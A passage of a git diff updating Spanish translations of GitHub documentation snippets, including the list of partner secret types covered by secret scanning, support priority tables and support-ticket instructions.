Cloud | firebase_cloud_messaging_server_key{% endif %} Google | Llave de la API de Google | google_api_key Google | ID de Llave Privada de Google Cloud | google_cloud_private_key_id {%- ifversion fpt or ghec or ghes > 3.2 %} Google | Secreto de la Llave de Acceso de Almacenamiento de Google Cloud | google_cloud_storage_access_key_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} @@ -74,11 +76,13 @@ Google | ID de la Llave de Acceso de la Cuenta de Servicio de Almacenamiento de {%- ifversion fpt or ghec or ghes > 3.2 %} Google | ID de la Llave de Acceso de Usuario de Almacenamiento de Google Cloud | google_cloud_storage_user_access_key_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} -Google | Google OAuth Client ID | google_oauth_client_id{% endif %} +Google | Google OAuth Access Token | google_oauth_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} -Google | Google OAuth Client Secret | google_oauth_client_secret{% endif %} +Google | ID de Cliente OAuth de Google | google_oauth_client_id{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Google | Secreto de Cliente OAuth de Google | google_oauth_client_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Grafana | Grafana API Key | grafana_api_key{% endif %} Hashicorp Terraform | Terraform Cloud / Enterprise API Token | terraform_api_token Hubspot | Hubspot API Key | hubspot_api_key +Grafana | Llave de la API de Grafana | grafana_api_key{% endif %} Hashicorp Terraform | API del Token de Terraform Cloud / Enterprise | terraform_api_token Hubspot | Llave de la API de Hubspot | hubspot_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Intercom | Token de Acceso a Intercom | intercom_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} @@ -96,13 +100,13 @@ Linear | Token de Acceso Oauth de Linear | linear_oauth_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Lob | Llave de la API en Vivo de Lob | lob_live_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Lob | Lob Test API Key | lob_test_api_key{% endif %} Mailchimp | Mailchimp API Key | mailchimp_api_key Mailgun | Mailgun API Key | mailgun_api_key +Lob | Llave de la API de Pruebas de Lob | lob_test_api_key{% endif %} Mailchimp | Llave de la API de Mailchimp | mailchimp_api_key Mailgun | Llave de la API de Mailgun | mailgun_api_key {%- ifversion fpt or ghec or ghes > 3.3 %} -Mapbox | Mapbox Secret Access Token | mapbox_secret_access_token{% endif %} +Mapbox | Token de Acceso Secreto a Mapbox | mapbox_secret_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} MessageBird | Llave de la API de MessageBird | messagebird_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Meta | Facebook Access Token | facebook_access_token{% endif %} +Meta | Token de Acceso a Facebook | facebook_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} New Relic | Llave Personal de la API de New Relic | new_relic_personal_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} @@ -110,13 +114,13 @@ New Relic | Llave de la API de REST de New Relic | new_relic_rest_api_key{% endi {%- ifversion fpt or ghec or ghes > 3.2 %} New Relic | Llave de Consulta de Perspectivas de New Relic | new_relic_insights_query_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} -New Relic | New Relic License Key | new_relic_license_key{% endif %} npm | npm Access Token | npm_access_token NuGet | NuGet API Key | nuget_api_key +New Relic | Llave de Licencia de New Relic | new_relic_license_key{% endif %} npm | Token de Acceso a npm | npm_access_token NuGet | Llave de la API de NuGet | nuget_api_key {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Onfido | Token de la API de Onfido Live | onfido_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Onfido | Token de la API de Onfido Sandbox | onfido_sandbox_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -OpenAI | OpenAI API Key | openai_api_key{% endif %} Palantir | Palantir JSON Web Token | palantir_jwt +OpenAI | Llave de la API de OpenAI | openai_api_key{% endif %} Palantir | Token Web JSON de Palantir | palantir_jwt {%- ifversion fpt or ghec or ghes > 3.2 %} PlanetScale | Contraseña de la Base de Datos de PlanetScale | planetscale_database_password{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} @@ -126,11 +130,11 @@ PlanetScale | Token de Servicio de PlanetScale | planetscale_service_token{% end {%- ifversion fpt or ghec or ghes > 3.2 %} Plivo | ID de Auth de Plivo | plivo_auth_id{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} -Plivo | Plivo Auth Token | plivo_auth_token{% endif %} Postman | Postman API Key | postman_api_key Proctorio | Proctorio Consumer Key | proctorio_consumer_key Proctorio | Proctorio Linkage Key | proctorio_linkage_key Proctorio | Proctorio Registration Key | proctorio_registration_key Proctorio | Proctorio Secret Key | proctorio_secret_key Pulumi | Pulumi Access Token | pulumi_access_token +Plivo | Token de Autenticación a Plivo | plivo_auth_token{% endif %} Postman | Llave de la API de Postman | postman_api_key Proctorio | Llave de Consumidor de Proctorio | proctorio_consumer_key Proctorio | Llave de Vinculación de Proctorio | proctorio_linkage_key Proctorio | Llave de Registro de Proctorio | proctorio_registration_key Proctorio | Llave de Secreto de Proctorio | proctorio_secret_key Pulumi | Toekn de Acceso a Pulumi | pulumi_access_token {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} PyPI | Token de la API de PyPI | pypi_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -RubyGems | RubyGems API Key | rubygems_api_key{% endif %} Samsara | Samsara API Token | samsara_api_token Samsara | Samsara OAuth Access Token | samsara_oauth_access_token +RubyGems | Llave de la API de RubyGems | rubygems_api_key{% endif %} Samsara | Token de la API de Samsara | samsara_api_token Samsara | Token de Acceso OAuth a Samsara | samsara_oauth_access_token {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} SendGrid | Llave de la API de SendGrid | sendgrid_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.2 %} @@ -140,7 +144,11 @@ Sendinblue | Llave de SMTP de Sendinblue | sendinblue_smtp_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Shippo | Token de la API de Shippo Live | shippo_live_api_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Shippo | Shippo Test API Token | shippo_test_api_token{% endif %} Shopify | Shopify App Shared Secret | shopify_app_shared_secret Shopify | Shopify Access Token | shopify_access_token Shopify | Shopify Custom App Access Token | shopify_custom_app_access_token Shopify | Shopify Private App Password | shopify_private_app_password Slack | Slack API Token | slack_api_token Slack | Slack Incoming Webhook URL | slack_incoming_webhook_url Slack | Slack Workflow Webhook URL | slack_workflow_webhook_url SSLMate | SSLMate API Key | sslmate_api_key SSLMate | SSLMate Cluster Secret | sslmate_cluster_secret Stripe | Stripe API Key | stripe_api_key +Shippo | Token de la API de Pruebas de Shippo | shippo_test_api_token{% endif %} Shopify | Secreto Compartido de la App de Shopify | shopify_app_shared_secret Shopify | Token de Acceso a Shopify | shopify_access_token Shopify | Token de Acceso a la App Personalizada de Shopify | shopify_custom_app_access_token Shopify | Contraseña de la App Privada de Shopify | shopify_private_app_password Slack | Token de la API de Slack | slack_api_token Slack | URL del Webhook Entrante de Slack | slack_incoming_webhook_url Slack | URL del Webhook del Flujo de Trabajo de Slack | slack_workflow_webhook_url +{%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Secreto de la Aplicación de Producción de Square | square_production_application_secret{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Square | Secreto de la Aplicación de Pruebas de Square | square_sandbox_application_secret{% endif %} SSLMate | Llave de la API de SSLMate | sslmate_api_key SSLMate | Secreto de Clúster de SSLMate | sslmate_cluster_secret Stripe | Llave de la API de Stripe | stripe_api_key {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} Stripe | Llave Secreta en Vivo de la API de Stripe | stripe_live_secret_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.0 or ghae %} @@ -152,16 +160,17 @@ Stripe | Llave Restringida de la API de Prueba de Stripe | stripe_test_restricte {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} Stripe | Secreto de Firmado de Webhook de Stripe | stripe_webhook_signing_secret{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Tableau | Token de Acceso Personal a Tableau | tableau_personal_access_token{% endif %} +{%- ifversion fpt or ghec or ghes > 3.3 %} +Supabase | Supabase Service Key | supabase_service_key{% endif %} Tableau | Tableau Personal Access Token | tableau_personal_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.1 or ghae-next %} -Telegram | Telegram Bot Token | telegram_bot_token{% endif %} Tencent Cloud | Tencent Cloud Secret ID | tencent_cloud_secret_id +Telegram | Token del Bot de Telegram | telegram_bot_token{% endif %} Tencent Cloud | ID Secreta de Tencent Cloud | tencent_cloud_secret_id {%- ifversion fpt or ghec or ghes > 3.3 %} -Twilio | Twilio Access Token | twilio_access_token{% endif %} Twilio | Twilio Account String Identifier | twilio_account_sid Twilio | Twilio API Key | twilio_api_key +Twilio | Token de Acceso a Twilio | twilio_access_token{% endif %} Twilio | Identificador de Secuencia de Cuenta de Twilio | twilio_account_sid Twilio | Llave de la API de Twilio | twilio_api_key {%- ifversion fpt or ghec or ghes > 3.3 %} -Typeform | Typeform Personal Access Token | typeform_personal_access_token{% endif %} +Typeform | Token de Acceso Personal a Typeform | typeform_personal_access_token{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} -Yandex | Yandex.Cloud API Key | yandex_cloud_api_key{% endif %} +Yandex | Llave de la API de Yandex.Cloud | yandex_cloud_api_key{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} -Yandex | Yandex.Cloud IAM Cookie | yandex_cloud_iam_cookie{% endif %} +Yandex | Cookie IAM de Yandex.Cloud | yandex_cloud_iam_cookie{% endif %} {%- ifversion fpt or ghec or ghes > 3.3 %} -Yandex | Yandex.Cloud IAM Token | yandex_cloud_iam_token{% endif %} +Yandex | Token IAM de Yandex.Cloud | yandex_cloud_iam_token{% endif %} diff --git a/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-public-repo.md b/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-public-repo.md index d8d54da809..6e22b46630 100644 --- a/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-public-repo.md +++ b/translations/es-ES/data/reusables/secret-scanning/partner-secret-list-public-repo.md @@ -75,6 +75,8 @@ | Samsara | Token de API de Samsara | | Samsara | Token de Acceso de OAuth de Samsara | | SendGrid | Clave de la API de SendGrid | +| Sendinblue | Llave de la API de Sendinblue | +| Sendinblue | Llave SMTP de Sendinblue | | Shopify | Secreto Compartid de la App de Shopify | | Shopify | Token de Acceso de Shopify | | Shopify | Token de Acceso de la App Personalizada de Shopify | @@ -91,4 +93,5 @@ | Tencent Cloud | ID de Secreto de Tencent Cloud | | Twilio | Identificador de Secuencia de Cuenta de Twilio | | Twilio | Clave de API de Twilio | +| Typeform | Token de acceso personal a Typeform | | Valour | Token de acceso a Valour | diff --git a/translations/es-ES/data/reusables/security-advisory/link-browsing-advisory-db.md b/translations/es-ES/data/reusables/security-advisory/link-browsing-advisory-db.md index dd02a24c3a..fbf4d1f3c5 100644 --- a/translations/es-ES/data/reusables/security-advisory/link-browsing-advisory-db.md +++ b/translations/es-ES/data/reusables/security-advisory/link-browsing-advisory-db.md @@ -1,5 +1,5 @@ {% ifversion fpt or ghec %} Para obtener más información, consulta las secciones "[Buscar vulnerabilidades de seguridad en la {% data variables.product.prodname_advisory_database %}](/code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database)" y [Acerca de las {% data variables.product.prodname_security_advisories %}](/code-security/security-advisories/about-github-security-advisories)". {% else %} -For more information about advisory data, see "[Browsing security vulnerabilities in the {% data variables.product.prodname_advisory_database %}](/free-pro-team@latest/code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database)" in the {% data variables.product.prodname_dotcom_the_website %} documentation. +Para obtener más información sobre los datos de las asesorías, consulta la sección "[Buscar vulnerabilidades de seguridad en la {% data variables.product.prodname_advisory_database %}](/free-pro-team@latest/code-security/supply-chain-security/browsing-security-vulnerabilities-in-the-github-advisory-database)" dentro de la documentación de {% data variables.product.prodname_dotcom_the_website %}. {% endif %} diff --git a/translations/es-ES/data/reusables/security/displayed-information.md b/translations/es-ES/data/reusables/security/displayed-information.md index 36e29e8a97..a7e5af6a85 100644 --- a/translations/es-ES/data/reusables/security/displayed-information.md +++ b/translations/es-ES/data/reusables/security/displayed-information.md @@ -4,5 +4,5 @@ Cuando habilitas una o más características de seguridad y análisis para los r - Los repositorios nuevos seguirán la configuración seleccionada si habilitaste la casilla de verificación para estos.{% ifversion fpt or ghec %} - Utilizamos los permisos para escanear en busca de archivos de manifiesto para aplicar los servicios relevantes. - Si se habilita, verás la información de dependencias en la gráfica de dependencias. -- If enabled, {% data variables.product.prodname_dotcom %} will generate {% data variables.product.prodname_dependabot_alerts %} for vulnerable dependencies.{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %} -- If enabled, {% data variables.product.prodname_dependabot %} security updates will create pull requests to upgrade vulnerable dependencies when {% data variables.product.prodname_dependabot_alerts %} are triggered.{% endif %} +- Si se habilita, {% data variables.product.prodname_dotcom %} generará {% data variables.product.prodname_dependabot_alerts %} para las dependencias vulnerables.{% endif %}{% ifversion fpt or ghec or ghes > 3.2 %} +- Si se habilita, las actualizaciones de seguridad del {% data variables.product.prodname_dependabot %} crearán solicitudes de cambios para actualizar las dependencias vulnerables cuando se activen las {% data variables.product.prodname_dependabot_alerts %}.{% endif %} diff --git a/translations/es-ES/data/reusables/sponsors/select-sponsorship-billing.md b/translations/es-ES/data/reusables/sponsors/select-sponsorship-billing.md index 8f18d6bebf..e75a06db6e 100644 --- a/translations/es-ES/data/reusables/sponsors/select-sponsorship-billing.md +++ b/translations/es-ES/data/reusables/sponsors/select-sponsorship-billing.md @@ -1 +1 @@ -4. Dentro de "Billing information" (Información de facturación), revisa tus detalles de pago. Optionally, to change the payment details for your entire account on {% data variables.product.product_location %}, click **Edit**. Después, sigue las instrucciones para completar el formulario de pago. +4. Dentro de "Billing information" (Información de facturación), revisa tus detalles de pago. Opcionalmente, para cambiar los detalles de pago de toda tu cuenta de {% data variables.product.product_location %}, haz clic en **Editar**. Después, sigue las instrucciones para completar el formulario de pago. diff --git a/translations/es-ES/data/reusables/support/ghae-priorities.md b/translations/es-ES/data/reusables/support/ghae-priorities.md index 0f8ed60ecc..89bc7c7bd7 100644 --- a/translations/es-ES/data/reusables/support/ghae-priorities.md +++ b/translations/es-ES/data/reusables/support/ghae-priorities.md @@ -2,5 +2,5 @@ |:---------------------------------------------------------------------:| --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------- | | {% data variables.product.support_ticket_priority_urgent %} - Sev A | No se puede acceder a {% data variables.product.product_name %} o hay un fallo total, y dicho fallo impacta directamente en la operación de tu negocio.

                _Después de que emitas un ticket de soporte, llama a {% data variables.contact.github_support %} por teléfono_ |
                • Errores o suspensiones que afectan la funcionalidad central de Git o de la aplicación web para todos los usuarios
                • Degradación severa del rendmimiento o de la red para la mayoría de los usuarios
                • Almacenamiento agotado, o que se llena muy rápidamente
                • Incidentes de seguridad conocidos o una violación de acceso
                | | {% data variables.product.support_ticket_priority_high %} - Sev B | {% data variables.product.product_name %} falla en un ambiente productivo, con un impacto limitado a tus procesos de negocio, o afectando únicamente a ciertos clientes. |
                • Degradación del rendimiento que reduce la productividad para muchos usuarios
                • Preocupaciones de redundancia reducida ocasionada por los fallos o la degradación del servicio
                • Errores o fallos que impactan a los ambientes productivos
                • Problemas de seguridad en la configuración de {% data variables.product.product_name %}
                | -| {% data variables.product.support_ticket_priority_normal %} - Sev C | {% data variables.product.product_name %} está presentando problemas moderados o limitados y errores con {% data variables.product.product_name %}, o tienes problemas o preguntas en general sobre la operación de {% data variables.product.product_name %}. |
                • Advice on using {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs and features, or questions about integrating business workflows
                • Problemas con las herramientas de usuario y los métodos de recolección de datos
                • Actualizaciones
                • Reportes de errores, preguntas generales sobre la seguridad, u otras preguntas relacionadas con las características
                  • | +| {% data variables.product.support_ticket_priority_normal %} - Sev C | {% data variables.product.product_name %} está presentando problemas moderados o limitados y errores con {% data variables.product.product_name %}, o tienes problemas o preguntas en general sobre la operación de {% data variables.product.product_name %}. |
                  • Consejos para utilizar las API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} o preguntas sobre cómo integrar los flujos de trabajo de negocios
                  • Problemas con las herramientas de usuario y los métodos de recolección de datos
                  • Actualizaciones
                  • Reportes de errores, preguntas generales sobre la seguridad, u otras preguntas relacionadas con las características
                    • | | {% data variables.product.support_ticket_priority_low %} - Sev D | {% data variables.product.product_name %} funciona de acuerdo a lo esperado, sin embargo, tienes una pregunta o sugerencia sobre {% data variables.product.product_name %} que no es urgente o que no bloquea de otra forma la productividad de tu equipo. |
                    • Solicitudes de características y retroalimentación sobre el producto
                    • Las preguntas generales sobre la configuración o el uso general de {% data variables.product.product_name %}
                    • Notificar a {% data variables.contact.github_support %} de cualquier cambio planeado
                    | diff --git a/translations/es-ES/data/reusables/support/ghes-priorities.md b/translations/es-ES/data/reusables/support/ghes-priorities.md index ab756700a2..e37eef93fd 100644 --- a/translations/es-ES/data/reusables/support/ghes-priorities.md +++ b/translations/es-ES/data/reusables/support/ghes-priorities.md @@ -2,5 +2,5 @@ |:-------------------------------------------------------------:| ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------- | | {% data variables.product.support_ticket_priority_urgent %} | {% data variables.product.prodname_ghe_server %} está fallando en un ambiente productivo, y dicha falla impacta en la operación de tu negocio.

                    _{% data reusables.support.priority-urgent-english-only %}_ |
                    • Errores o suspensiones que afectan la funcionalidad central de Git o de la aplicación web para todos los usuarios
                    • Degradación grave de rendimiento para la mayoría de los usuarios
                    • Almacenamiento agotado, o que se llena muy rápidamente
                    • Incapacidad para instalar un archivo de licencia renovado
                    • Incidente de seguridad
                    • Pérdida de acceso administrativo para la instancia sin solución alternativa conocida
                    • Falla para restaurar un respaldo en un ambiente productivo
                    | | {% data variables.product.support_ticket_priority_high %} | {% data variables.product.prodname_ghe_server %} está fallando en un ambiente productivo, pero el impacto a tu negocio es limitado. |
                    • Degradación del rendimiento que reduce la productividad para muchos usuarios
                    • Redundancia reducida por fallo en la Alta Disponibilidad (HA) o nodos de agrupación
                    • Fallo en respaldar la instancia
                    • Fallo para restaurar un respaldo en un ambiente de prueba o de montaje que podría poner en riesgo la restauración exitosa a un ambiente productivo
                    | -| {% data variables.product.support_ticket_priority_normal %} | Estás experimentando problemas limitados o moderados con {% data variables.product.prodname_ghe_server %}, o tienes preocupaciones o dudas generales sobre la operación de tu instancia. |
                    • Problemas en un ambiente de pruebas o de montaje
                    • Advice on using {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} APIs and features, or questions about configuring third-party integrations from your instance
                    • Problemas con las herramientas para la migración de datos de usuario que proporciona {% data variables.product.company_short %}
                    • Actualizaciones
                    • Reporte de errores
                    • Características que no funcionan como se espera
                    • Preguntas generales sobre seguridad
                    | +| {% data variables.product.support_ticket_priority_normal %} | Estás experimentando problemas limitados o moderados con {% data variables.product.prodname_ghe_server %}, o tienes preocupaciones o dudas generales sobre la operación de tu instancia. |
                    • Problemas en un ambiente de pruebas o de montaje
                    • Consejos para utilizar las API y características de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} o preguntas sobre cómo configurar las integraciones de terceros desde tu instancia
                    • Problemas con las herramientas para la migración de datos de usuario que proporciona {% data variables.product.company_short %}
                    • Actualizaciones
                    • Reporte de errores
                    • Características que no funcionan como se espera
                    • Preguntas generales sobre seguridad
                    | | {% data variables.product.support_ticket_priority_low %} | Tienes una pregunta o sugerencia acerca de {% data variables.product.prodname_ghe_server %} que no es urgente o que no bloquea la productividad de tu equipo de otra forma. |
                    • Solicitudes de características
                    • Retroalimentación de producto
                    • Solicitudes de verificación de estado (por el momento, únicamente disponible para clientes con un {% data variables.product.premium_support_plan %})
                    • Notificar a {% data variables.product.company_short %} sobre mantenimiento planeado para tu instancia
                    | diff --git a/translations/es-ES/data/reusables/support/receiving-credits.md b/translations/es-ES/data/reusables/support/receiving-credits.md index 71f8e23349..3527c2982b 100644 --- a/translations/es-ES/data/reusables/support/receiving-credits.md +++ b/translations/es-ES/data/reusables/support/receiving-credits.md @@ -6,7 +6,7 @@ Si no recibes una respuesta inicial dentro del tiempo de respuesta garantizado e La solicitud de crédito se debe hacer dentro de los 30 días del final del trimestre durante el cual {% data variables.contact.premium_support %} no respondió a tus tickets dentro del tiempo designado de respuesta. Las solicitudes de crédito no serán reconocidas luego del plazo establecido para su presentación. Una vez que este plazo se haya cumplido, habrás renunciado a la posibilidad de reclamar un reembolso por el crédito que te hubiera correspondido. Para recibir un reembolso, debes enviar una solicitud de crédito completa a . Para ser aceptada, la solicitud de crédito debe cumplir con las siguientes condiciones: -- Be sent from an email address associated with your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} +- Que se envíe desde una dirección de correo electrónico asociada con tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} - Ser recibida por {% data variables.product.company_short %} en el plazo de 30 días a partir del cierre del trimestre en el que se produjeron los cuatro créditos calificados - Pon "Credit Request" en la línea de asunto diff --git a/translations/es-ES/data/reusables/support/submit-a-ticket.md b/translations/es-ES/data/reusables/support/submit-a-ticket.md index ea1b1773a3..7c20495947 100644 --- a/translations/es-ES/data/reusables/support/submit-a-ticket.md +++ b/translations/es-ES/data/reusables/support/submit-a-ticket.md @@ -1,5 +1,5 @@ -1. Select the **Account or organization** drop-down menu and click the name of your enterprise. ![Account field](/assets/images/help/support/account-field.png) -1. Select the **From** drop-down menu and click the email address you'd like {% data variables.contact.github_support %} to contact. ![Campo de correo electrónico](/assets/images/help/support/from-field.png) +1. Select the **Account or organization** drop-down menu and click the name of your enterprise. ![Campo de cuenta](/assets/images/help/support/account-field.png) +1. Selecciona el menú desplegable de **Desde** y haz clic en la dirección de correo electrónico con la cual te gustaría que {% data variables.contact.github_support %} se comunique. ![Campo de correo electrónico](/assets/images/help/support/from-field.png) 1. Select the **Product** drop-down menu and click **GitHub Enterprise Server (self-hosted)**. ![Product field](/assets/images/help/support/product-field.png) 1. Select the **Release series** drop-down menu and click the release {% data variables.product.product_location_enterprise %} is running. ![Release field](/assets/images/help/support/release-field.png) 1. Select the **Priority** drop-down menu and click the appropriate urgency. Para obtener más información, consulta "[Asignar una prioridad a un ticket de soporte](/admin/enterprise-support/overview/about-github-enterprise-support#assigning-a-priority-to-a-support-ticket)". ![Priority field](/assets/images/help/support/priority-field.png) @@ -7,6 +7,9 @@ - Elige **{% data variables.product.support_ticket_priority_high %}** para reportar incidentes que impactan las operaciones de negocios, incluyendo {% ifversion fpt or ghec %} eliminar datos sensibles (confirmaciones, incidentes, solicitudes de extracción, adjuntos cargados) de tus propias restauraciones de cuenta y de organización{% else %}, incidentes de rendimiento del sistema{% endif %}, o para reportar errores críticos. - Elige **{% data variables.product.support_ticket_priority_normal %}** para {% ifversion fpt or ghec %}solicitar una recuperación de cuenta o desmarcación de spam, reportar problemas de acceso de usuario{% else %}hacer solicitudes técnicas como cambios de configuración e integraciones de terceros{% endif %}, y reportar errores no críticos. - Elige**{% data variables.product.support_ticket_priority_low %}** para hacer preguntas generales y emitir solicitudes para nuevas características, compras, capacitación, o revisiones de estado. +{%- ifversion ghes or ghec %} +1. Optionally, if your account includes {% data variables.contact.premium_support %} and your ticket is {% ifversion ghes %}urgent or high{% elsif ghec %}high{% endif %} priority, you can request a callback. Select **Request a callback from GitHub Support**, select the country code drop-down menu to choose your country, and enter your phone number. ![Request callback option](/assets/images/help/support/request-callback.png) +{%- endif %} 1. Debajo de "Tema", teclea un título descriptivo para el problema que estás experimentando. ![Campo de asuto](/assets/images/help/support/subject-field.png) 5. Debajo de "Cómo podemos ayudar", proporciona cualquier tipo de información adicional que ayudará al equipo de soporte a solucionar el problema. La información útil podría incluir: ![Campo de cómo podemos ayudar](/assets/images/help/support/how-can-we-help-field.png) - Pasos para reproducir el incidente diff --git a/translations/es-ES/data/reusables/supported-languages/products-table-header.md b/translations/es-ES/data/reusables/supported-languages/products-table-header.md index e288de5b10..54fbe86644 100644 --- a/translations/es-ES/data/reusables/supported-languages/products-table-header.md +++ b/translations/es-ES/data/reusables/supported-languages/products-table-header.md @@ -1,2 +1,2 @@ -{% ifversion fpt or ghec %}| [Code navigation](/github/managing-files-in-a-repository/navigating-code-on-github) | [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [Dependency graph, {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-the-dependency-graph#supported-package-ecosystems) | [{% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates#supported-repositories-and-ecosystems) | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [{% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) | +{% ifversion fpt or ghec %}| [Navegación de código](/github/managing-files-in-a-repository/navigating-code-on-github) | [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [Gráfica de dependencias, {% data variables.product.prodname_dependabot_alerts %}, {% data variables.product.prodname_dependabot_security_updates %}](/code-security/supply-chain-security/about-the-dependency-graph#supported-package-ecosystems) | [{% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates#supported-repositories-and-ecosystems) | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [{% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) | | :-- | :-: | :-: | :-: | :-: | :-: | :-: |{% elsif ghes %}| [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [Dependency graph, {% data variables.product.prodname_dependabot_alerts %}{% ifversion ghes > 3.2 %}, {% data variables.product.prodname_dependabot_security_updates %}{% endif %}](/github/visualizing-repository-data-with-graphs/about-the-dependency-graph#supported-package-ecosystems) |{% ifversion ghes > 3.2 %}| [{% data variables.product.prodname_dependabot_version_updates %}](/code-security/supply-chain-security/about-dependabot-version-updates#supported-repositories-and-ecosystems){% endif %}| | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [{% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) | | :-- | :-: | :-: {% ifversion ghes > 3.2 %}| :-: {% endif %}| :-: | :-: |{% elsif ghae %}| [{% data variables.product.prodname_code_scanning_capc %}](/github/finding-security-vulnerabilities-and-errors-in-your-code/about-code-scanning) | [{% data variables.product.prodname_actions %}](/actions/guides/about-continuous-integration#supported-languages) | [{% data variables.product.prodname_registry %}](/packages/learn-github-packages/introduction-to-github-packages#supported-clients-and-formats) | | :-- | :-: | :-: | :-: |{% endif %} diff --git a/translations/es-ES/data/reusables/user_settings/about-commit-email-addresses.md b/translations/es-ES/data/reusables/user_settings/about-commit-email-addresses.md index 8b927a865f..443ac71c0f 100644 --- a/translations/es-ES/data/reusables/user_settings/about-commit-email-addresses.md +++ b/translations/es-ES/data/reusables/user_settings/about-commit-email-addresses.md @@ -1 +1 @@ -For more information on commit email addresses,{% ifversion fpt or ghec %} including your `noreply` email address for {% data variables.product.product_name %},{% endif %} see "[Setting your commit email address](/articles/setting-your-commit-email-address)." +Para obtener más información sobre las direcciones de correo electrónico para confirmaciones,{% ifversion fpt or ghec %} incluyendo aquella de `noreply` para {% data variables.product.product_name %}, {% endif %} consulta la sección "[Configurar tu dirección de correo electrónico para confirmaciones](/articles/setting-your-commit-email-address)". diff --git a/translations/es-ES/data/reusables/user_settings/blocked_users.md b/translations/es-ES/data/reusables/user_settings/blocked_users.md index c2a815d0c2..1e9de2840a 100644 --- a/translations/es-ES/data/reusables/user_settings/blocked_users.md +++ b/translations/es-ES/data/reusables/user_settings/blocked_users.md @@ -1 +1 @@ -1. In your user settings sidebar, click **Blocked users** under **Moderation settings**. ![Pestaña de usuarios bloqueados](/assets/images/help/settings/settings-sidebar-blocked-users.png) +1. En tu barra lateral de ajustes de usuario, haz clic en **Usuarios bloqueados** debajo de **Ajustes de moderación**. ![Pestaña de usuarios bloqueados](/assets/images/help/settings/settings-sidebar-blocked-users.png) diff --git a/translations/es-ES/data/reusables/webhooks/secret.md b/translations/es-ES/data/reusables/webhooks/secret.md index bc100ba53b..dff3dab44c 100644 --- a/translations/es-ES/data/reusables/webhooks/secret.md +++ b/translations/es-ES/data/reusables/webhooks/secret.md @@ -1 +1 @@ -El configurar un secreto de webhook te permite garantizar que las solicitudes `POST` que se enviaron a la URL de la carga útil sean de {% data variables.product.product_name %}. When you set a secret, you'll receive the {% ifversion fpt or ghes or ghec %}`X-Hub-Signature` and `X-Hub-Signature-256` headers{% elsif ghae 